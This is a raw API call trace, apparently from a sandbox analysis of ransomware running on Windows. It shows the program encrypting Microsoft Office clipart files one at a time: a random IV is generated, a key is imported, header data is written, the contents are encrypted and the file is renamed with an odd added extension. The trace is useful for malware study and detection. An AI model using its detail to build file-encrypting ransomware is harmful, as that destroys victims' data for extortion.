WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0193.574] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0193.574] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0193.574] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0193.574] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0193.574] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.574] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x30e8, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x30e8, lpOverlapped=0x0) returned 1 [0193.575] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x30f0, dwBufLen=0x30f0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x30f0) returned 1 [0193.575] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.575] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x30f0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x30f0, lpOverlapped=0x0) returned 1 [0193.575] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0193.575] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x31c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.576] SetEndOfFile (hFile=0x130) returned 1 [0193.578] GetProcessHeap () returned 0x2ef0000 [0193.578] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0193.578] GetProcessHeap () returned 0x2ef0000 [0193.578] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0193.578] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00008_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00008_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00008_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00008_.wmf.kjhslgjkjdfg")) returned 1 [0193.583] CloseHandle (hObject=0x130) returned 1 [0193.583] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x851e9b00, ftCreationTime.dwHighDateTime=0x1bd4b34, ftLastAccessTime.dwLowDateTime=0x5f6dd090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x851e9b00, ftLastWriteTime.dwHighDateTime=0x1bd4b34, nFileSizeHigh=0x0, nFileSizeLow=0x265a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BL00012_.WMF", cAlternateFileName="")) returned 1 [0193.583] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00012_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00012_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0193.584] GetProcessHeap () returned 0x2ef0000 [0193.584] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0193.584] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0193.584] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0193.584] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x6, lpOverlapped=0x0) returned 1 [0193.586] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0193.586] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0193.586] GetProcessHeap () returned 0x2ef0000 [0193.586] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0193.586] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0193.586] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0193.586] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0193.586] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0193.587] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0193.587] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0193.587] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0193.587] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0193.587] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0193.587] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0193.587] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.587] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x265a, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x265a, lpOverlapped=0x0) returned 1 [0193.591] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x2660, dwBufLen=0x2660 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x2660) returned 1 [0193.591] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.592] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x2660, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x2660, lpOverlapped=0x0) returned 1 [0193.592] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0193.592] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x2734, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.592] SetEndOfFile (hFile=0x130) returned 1 [0193.594] GetProcessHeap () returned 0x2ef0000 [0193.594] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0193.594] GetProcessHeap () returned 0x2ef0000 [0193.594] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0193.594] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00012_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00012_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00012_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00012_.wmf.kjhslgjkjdfg")) returned 1 [0193.599] CloseHandle (hObject=0x130) returned 1 [0193.599] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe1c98800, ftCreationTime.dwHighDateTime=0x1bd4b2b, ftLastAccessTime.dwLowDateTime=0x5f6dd090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe1c98800, ftLastWriteTime.dwHighDateTime=0x1bd4b2b, nFileSizeHigh=0x0, nFileSizeLow=0x1eb6, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BL00045_.WMF", cAlternateFileName="")) returned 1 [0193.599] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00045_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00045_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0193.599] GetProcessHeap () returned 0x2ef0000 [0193.599] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0193.599] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0193.599] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0193.599] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xa, lpOverlapped=0x0) returned 1 [0193.601] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0193.601] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0193.601] GetProcessHeap () returned 0x2ef0000 [0193.601] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0193.601] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0193.601] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0193.602] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0193.602] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0193.602] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0193.602] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0193.602] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0193.602] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0193.602] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0193.602] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0193.602] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.602] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x1eb6, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x1eb6, lpOverlapped=0x0) returned 1 [0193.603] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1ec0, dwBufLen=0x1ec0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1ec0) returned 1 [0193.603] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.603] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x1ec0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x1ec0, lpOverlapped=0x0) returned 1 [0193.603] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0193.603] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1f94, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.604] SetEndOfFile (hFile=0x130) returned 1 [0193.606] GetProcessHeap () returned 0x2ef0000 [0193.606] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0193.606] GetProcessHeap () returned 0x2ef0000 [0193.606] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0193.607] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00045_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00045_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00045_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00045_.wmf.kjhslgjkjdfg")) returned 1 [0193.611] CloseHandle (hObject=0x130) returned 1 [0193.611] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9a40fd00, ftCreationTime.dwHighDateTime=0x1bd4b27, ftLastAccessTime.dwLowDateTime=0x519c9550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9a40fd00, ftLastWriteTime.dwHighDateTime=0x1bd4b27, nFileSizeHigh=0x0, nFileSizeLow=0x3f4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BL00098_.WMF", cAlternateFileName="")) returned 1 [0193.611] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00098_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00098_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0193.612] GetProcessHeap () returned 0x2ef0000 [0193.612] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0193.612] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0193.612] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0193.612] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xc, lpOverlapped=0x0) returned 1 [0193.614] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0193.614] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0193.614] GetProcessHeap () returned 0x2ef0000 [0193.614] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0193.614] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0193.614] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0193.614] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0193.614] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0193.614] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0193.614] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0193.614] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0193.614] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0193.615] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0193.615] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0193.615] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.615] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x3f4, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x3f4, lpOverlapped=0x0) returned 1 [0193.615] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x400, dwBufLen=0x400 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x400) returned 1 [0193.615] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.615] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x400, lpOverlapped=0x0) returned 1 [0193.615] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0193.615] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x4d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.615] SetEndOfFile (hFile=0x130) returned 1 [0193.618] GetProcessHeap () returned 0x2ef0000 [0193.618] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0193.618] GetProcessHeap () returned 0x2ef0000 [0193.618] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0193.618] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00098_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00098_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00098_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00098_.wmf.kjhslgjkjdfg")) returned 1 [0193.625] CloseHandle (hObject=0x130) returned 1 [0193.626] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x888a3600, ftCreationTime.dwHighDateTime=0x1bd4ae4, ftLastAccessTime.dwLowDateTime=0x5f6dd090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x888a3600, ftLastWriteTime.dwHighDateTime=0x1bd4ae4, nFileSizeHigh=0x0, nFileSizeLow=0x370, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BL00105_.WMF", cAlternateFileName="")) returned 1 [0193.626] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00105_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00105_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0193.628] GetProcessHeap () returned 0x2ef0000 [0193.628] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0193.628] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0193.628] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0193.628] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0193.628] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0193.628] GetProcessHeap () returned 0x2ef0000 [0193.628] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0193.628] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0193.628] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0193.628] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0193.630] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0193.630] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0193.630] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0193.630] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0193.630] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0193.630] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0193.630] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0193.630] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.630] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, 